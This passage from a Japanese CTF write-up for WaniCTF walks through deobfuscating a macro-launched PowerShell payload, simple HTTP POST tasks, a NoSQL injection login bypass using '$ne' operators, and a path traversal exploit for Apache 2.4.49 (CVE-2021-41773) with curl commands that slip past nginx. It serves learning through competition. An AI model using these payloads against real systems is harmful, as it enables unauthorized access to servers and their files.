([246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120], 689), 
([21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183], 778), 
([220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163], 867), 
([116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161], 956), 
([129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210], 1045), 
([221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29], 1134), 
([250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87], 1223), 
([214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22], 1312)]

key_str = "rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw=="

def unxor(ciphertext, start):
    #print(ciphertext, start)
    cleartext = ""
    for i in range(len(ciphertext)):
        cleartext += chr(key[i + start] ^ ciphertext[i])
    return cleartext

key = base64.b64decode(key_str)

for a in arry:
    print(unxor(a[0], a[1]), end='')

実行結果

$ python solve.py
WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

終わりじゃなかった…。これをbase64 decodeすると

..(.'.i.e.X.'.).(.n.E.w.-.o.b.j.E.c.t. .S.Y.s.t.e.M...I.o...S.t.R.e.A.M.r.e.a.d.E.r.(. .(. .n.E.w.-.o.b.j.E.c.t. . .S.y.s.t.E.M...I.O...C.O.M.P.R.E.s.s.i.O.N...d.e.f.l.a.T.E.S.t.r.e.a.M.(.[.I.o...M.e.m.o.R.y.s.T.R.E.A.M.]. .[.s.Y.s.T.e.M...c.O.n.v.E.r.T.].:.:.f.R.O.M.B.A.S.E.6.4.S.T.r.i.n.g.(. .'.b.c.6.9.C.s.I.w.G.I.X.h.P.V.f.x.G.R.w.U.L.L.S.k.k.s.l.B.B.X.9.A.U.B.w.U.p.9.A.m.n.7.Q.Q.m.5.q.k.R.p.H.e.u.y.0.6.O.p.8.H.z.o.u.y.M.E.A.v.6.C.Y.Q.E.L.R.5.I.J.w.W.8.w.E.l.Z.F.h.W.d.e.N.h.B.k.f.M.V.L.Q.x.z.g.M.9.Z.M.4.F.Y.1.U.3.l.1.c.Y./.U.i.E.d.6.C.r.3.X.z.9.D.n.E.Q.v.G.C.C.3.X.K.m.F.F.P.i.k.a.c.i.q.U.S.I.r.R.J.p.w.+.N.b.y.h.O.Z.a.v.0.S.7.M.l.k.w.z.v.S.+.z.o.O.z.E.4.L.p.r.W.Y.S.p.v.U.v.K.V.j.e.B.O.A.s.y.0.9.R.v.v.G.9.z.9.0.a.a.x.F.6.b.u.6.F.l.A.7./.E.O.2.l.f.y.i.z.h.D.y.A.Q.=.=.'.).,. .[.s.Y.S.t.E.M...i.o...C.O.M.P.R.e.S.S.i.o.N...c.O.m.p.r.e.s.S.i.O.N.m.O.d.E.].:.:.D.e.C.o.m.P.r.E.S.S.). .).,.[.s.y.s.T.E.m...T.E.X.t...e.n.c.O.d.I.N.G.].:.:.A.s.c.i.I.). .)...r.e.a.D.T.o.E.N.D.(.).

邪魔なピリオドを取り除いて、

.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

ここでようやくvm環境直したので、満を持してpowershellに突っ込んで見る。
5 Minute Forensics: Decoding PowerShell Payloadsこの記事を参考に、メモリに載せて実行する前に、コードを変数aに収めておいいて後で表示するように少し書き換えてみました。

PS /home/kusuwada> sal a (nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

コードを格納した変数を表示

PS /home/kusuwada> a
a: The term 'echo "Yes, we love VBA!"
$input = Read-Host "Password"
if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}
' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

わおー!!!長いFlag出た!!!!時間かけて粘ったので、解けて超嬉しい!!!!(∩* ´ ω ` *∩)

[Web] sourcemap (Beginner)

へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...

え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?

https://sourcemap.web.wanictf.org

問題文の通り、開発者ツールのsorce map機能でソース一覧をポチポチ眺めていると、webpack://src/App.vueの36行目にコメントでFLAGが直接書いてありました。

f:id:kusuwada:20211107203238p:plain:w400

[Web] POST Challenge (Easy)

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

https://post.web.wanictf.org/

こんなページ。マチカネワニかわいい。小問5つ全部解ければflagになるようです。

f:id:kusuwada:20211107203334p:plain:w400

ソースが配布されているので、それを読みながら解くようです。

Challenge 1

https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください。

ソースの該当部分は、app.jsの

app.post("/chal/1", function (req, res) {
  let FLAG = null;
  if (req.body.data === "hoge") {
    FLAG = process.env.FLAG_PART1;
  }
  res.render("chal", { FLAG, chal: 1 });
});

body.datahogeになってれば良さそう。

$ curl -X POST -d "data=hoge" https://post.web.wanictf.org/chal/1 > chall1.html

これで下記応答が得られました👍

f:id:kusuwada:20211107203436p:plain:w400

Challenge 2

https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください。

ソースの該当部分

app.post("/chal/2", function (req, res) {
  // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
  let FLAG = null;
  if (
    req.headers["user-agent"].includes("Mozilla/5.0") &&
    req.body.data === "hoge"
  ) {
    FLAG = process.env.FLAG_PART2;
  }
  res.render("chal", { FLAG, chal: 2 });
});

UAに"Mozilla/5.0"が入っていれば、Chall1の条件と合わせて行けそう。

$ curl -X POST -d "data=hoge" -A "Mozilla/5.0" https://post.web.wanictf.org/chal/2 > chall2.html

f:id:kusuwada:20211107203452p:plain:w400

Challenge 3

https://post.web.wanictf.org/chal/3に適切なデータをPOSTしてください。

ソースの該当部分

app.post("/chal/3", function (req, res) {
  let FLAG = null;
  if (req.body.data?.hoge === "fuga") {
    FLAG = process.env.FLAG_PART3;
  }
  res.render("chal", { FLAG, chal: 3 });
});

今度はbody.data?.hogefugaになってれば良い。このハテナの意味がよくわからなかったけど、オプショナルチェーン (?.) - JavaScript | MDNこれかな。

$ curl -X POST -d "data[hoge]=fuga" -A "Mozilla/5.0" https://post.web.wanictf.org/chal/3 > chall3.html

ヒントをもとに、連想配列で指定してやると通りました!

f:id:kusuwada:20211107203521p:plain:w400

Challenge 4

https://post.web.wanictf.org/chal/4に適切なデータをPOSTしてください。

ソースの該当部分

app.post("/chal/4", function (req, res) {
  let FLAG = null;
  if (req.body.hoge === 1 && req.body.fuga === null) {
    FLAG = process.env.FLAG_PART4;
  }
  res.render("chal", { FLAG, chal: 4 });
});

Hintの通り、JSON形式でおくれば良さそう。ここいらでcurlが辛くなってきたのでpythonで。
JSONであることを認識してもらうために、Content-Type headerも設定しておきます。

import requests
import json

url = 'https://post.web.wanictf.org/chal/4'

header = {"content-type": "application/json"}
payload = {"hoge":1, "fuga":None}
res = requests.post(url, data=json.dumps(payload), headers=header, verify=False)
print(res.text)

実行結果

$ python solve.py
~(略)~
  Congratulations! Challenge 4 FLAG: p0st
~(略)~

Challenge 5

https://post.web.wanictf.org/chal/5に適切なデータをPOSTしてください。

ソースの該当部分

function md5file(filePath) {
  const target = fs.readFileSync(filePath);
  const md5hash = crypto.createHash("md5");
  md5hash.update(target);
  return md5hash.digest("hex");
}

app.post("/chal/5", function (req, res) {
  let FLAG = null;
  if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
    FLAG = process.env.FLAG_PART5;
  }
  res.render("chal", { FLAG, chal: 5 });
});

配布されたソースの中に、md5計算対象のwani.pngも入っているので、これをmultipartで送ってあげます。

import requests

url = 'https://post.web.wanictf.org/chal/5'

files = {'data': open('app/public/images/wani.png', 'rb')}
res = requests.post(url, files=files)
print(res.text)

実行結果

$ python solve.py
~(略)~
  Congratulations! Challenge 5 FLAG: m@ster!
~(略)~

上記を全部つなげて、FLAG{y0u_ar3_http_p0st_m@ster!}

[Web] NoSQL (Normal)

NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。

https://nosql.web.wanictf.org/

usrenameとpasswordに適当に値を入れると、ログインに失敗。失敗画面のソースに、コメントで親切に受入状況を書いてくれている。

<!-- {"username":"user","password":"test"} -->
  • "はエスケープされちゃうし、username[$ne] みたいな入力はなかったことにされてしまう。

NoSQL injection - HackTricksを参考に、色々試してみいたところ、json形式で送るのが刺さったので、json形式でuserもpasswordも送ってみたら通った👍

import requests
import json

url = 'https://nosql.web.wanictf.org/login'

header = {"content-type": "application/json"}
payload = {"username":{"$ne":None}, "password":{"$ne":None}}
res = requests.post(url, data=json.dumps(payload), headers=header, verify=False)
print(res.text)

実行結果

$ python solve.py 
(略)
    <div class="container">
      
      FLAG{n0_sql_1nj3ction}
    </div>

[Web] traversal (Hard)

Webサーバーにロードバランサーをつけたよ!

なんかWebサーバーのバージョンがアレらしいけど、秘密のファイル/flag.txtはそのままでいっか!

https://traversal.web.wanictf.org/

ヒント

いろいろ設定に違和感が...

Burp Suiteを使うのがおすすめです

Dockerfileとアプリのソースコードが配布されます。タイトルからして、パストラバーサルっぽい。
webサーバーのバージョンが古いとのことで、webサーバーのDockerfileを見てみると

httpd:2.4.49

これをもとにググってみると、

この脆弱性っぽい!CVE-2021-41773|CVE-2021-42013。とれたてピチピチの脆弱性。

Along with Path traversal check bypass, for an Apache HTTP server to be vulnerable, the HTTP Server configuration should either contain the directory directive for entire server’s filesystem as Require all granted or the directory directive should be completely missing from the configuration file.

とのことなので、httpdの設定を見てみます。

<Directory />
    AllowOverride none
    Require all granted
</Directory>

満たしてる。コレだ。
あとは関連のエクスプロイトPoC探して試してみます。やられ側の条件が揃っていれば、比較的再現しやすい脆弱性だったようで沢山PoC落ちてた。

/cgi-bin/ 経由で ../.%2e/ と書き換えてあげると通っちゃうみたい。

$ curl --path-as-is --http1.1 'https://traversal.web.wanictf.org/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt'
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.20.1</center>
</body>
</html>

あれ、Bad Requestになっちゃう。
%2e -> %%32%65 に置き換えてみると、もっとシンプルな表示のBad Requestになっちゃう。

$ curl --path-as-is --http1.1 'https://traversal.web.wanictf.org/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/flag.txt'
400 Bad Request

どうもnginxが前段にいて、ここで弾かれちゃってるのではと予想してみる。
nginxの壁も回避しつつ攻撃を成功させる方法をポチポチ探していたのですが、思い立ってぐぐってみたら日本語のズバリの記事に行き当たりました!

ALB配下のApache HTTP Serverに対して脆弱性(CVE-2021-41733)の再現ができない理由をNGINXの挙動から考えてみた | DevelopersIO

ありがとう!詳細はこのページにめっちゃわかりやすくまとまっているので、今回は刺さったリクエストのみ掲載。

$ curl --path-as-is --http1.1 'https://traversal.web.wanictf.org/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt'
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}

nginxの回避として/////をつけるのは、いろんなパストラバーサルのチートシートに載っていますね。なんで思いつかなかったんだろう。

感想など

今回も素晴らしいCTFの開催ありがとうございました!個人的にはNormalやHard問をいくつか粘って解けたのがとても嬉しかったです。最近CTFにあまり時間を割けていないので、特にCryptoとPwnあたりの脳みそを引っ張ってくるのが難しかった…。
このあとしっかり、解けなかった・手を付けられなかった問題の復習をして勉強させていただきます!

f:id:kusuwada:20211107205013j:plain

なんと、認定証もらった!イエーイ!